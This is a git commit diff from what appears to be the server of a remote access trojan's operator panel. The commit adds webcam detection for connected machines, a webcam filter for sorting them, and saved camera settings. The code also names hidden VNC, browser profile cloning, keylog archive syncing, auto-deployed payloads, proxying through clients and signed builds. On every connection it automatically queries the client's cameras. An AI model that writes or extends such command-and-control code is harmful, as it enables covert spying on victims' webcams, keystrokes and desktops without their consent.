show if users have webcams and make sorting options better for windows and webcam. Also make webcam settings sticky.

This commit is contained in:
KingKDot
2026-06-12 10:20:02 -05:00
parent b6672ee375
commit cc0e6f737b
15 changed files with 373 additions and 25 deletions
@@ -84,15 +84,16 @@ export async function handleClientRoutes(
const countryFilter = url.searchParams.get("country") || "all";
const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved";
const groupFilter = url.searchParams.get("group") || "all";
const webcamFilter = url.searchParams.get("webcam") || "all";
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
if (user.role === "admin") {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter });
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
if (user.role === "operator" && isEnrollmentRequest) {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, builtByUserId: user.userId, requireBuildOwner: true });
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
@@ -104,7 +105,7 @@ export async function handleClientRoutes(
const allowedClientIds = scope === "allowlist" ? listUserClientRuleIdsByAccess(user.userId, "allow") : undefined;
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, allowedClientIds, deniedClientIds });
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
@@ -237,6 +237,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
remote_desktop: "remote_desktop",
hvnc: "hvnc",
webcam: "webcam",
};
function pickString(value: unknown, allowed: readonly string[]): string | undefined {
@@ -299,6 +300,9 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
} else if (scope === "webcam") {
assignIfDefined(out, "camera", pickSteppedNumber(input.camera, 0, 63));
assignIfDefined(out, "fps", pickSteppedNumber(input.fps, 1, 120));
}
return out;
@@ -18,7 +18,7 @@ import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { queueClientDbUpdate } from "../../client-db-sync";
import { flushQueuedClientDbUpdates, queueClientDbUpdate } from "../../client-db-sync";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
import { verifyBuildToken, isBuildBanned } from "../build-signing";
@@ -668,6 +668,7 @@ export async function handleWebSocketMessage(
}
await handleHello(infoObj, payload as Hello, ws, ip);
flushQueuedClientDbUpdates();
clientManager.addClient(infoObj.id, infoObj);
clearThumbnail(resolvedId);
@@ -678,6 +679,7 @@ export async function handleWebSocketMessage(
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
deps.sendDesktopCommand(infoObj, "webcam_list", {});
deps.notifyDashboard();
if (!reconnectedWithinGrace) {
deps.notifyDashboardClientEvent("client_online", {
@@ -840,6 +842,7 @@ export async function handleWebSocketMessage(
break;
case "webcam_devices":
deps.handleWebcamDevices(client.id, payload);
deps.notifyDashboard();
break;
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload);
@@ -11,6 +11,7 @@ import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import { canUserAccessClient } from "../users";
import { setClientWebcamInfo } from "../db";
import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes";
import {
buildViewerFrameBuffer,
@@ -775,8 +776,23 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
}
export function handleWebcamDevices(clientId: string, payload: any) {
const devices = Array.isArray(payload?.devices)
? payload.devices.slice(0, 32).map((device: any, index: number) => ({
index: Number.isFinite(Number(device?.index)) ? Number(device.index) : index,
name: String(device?.name || `Camera ${index + 1}`).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").slice(0, 160),
...(Number.isFinite(Number(device?.maxFps)) && Number(device.maxFps) > 0
? { maxFps: Math.min(240, Math.round(Number(device.maxFps))) }
: {}),
}))
: [];
const target = clientManager.getClient(clientId);
if (target) {
target.webcamAvailable = devices.length > 0;
target.webcamDevices = devices;
}
setClientWebcamInfo(clientId, devices.length > 0, devices);
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
safeSendViewer(session.viewer, payload);
safeSendViewer(session.viewer, { ...payload, devices });
}
}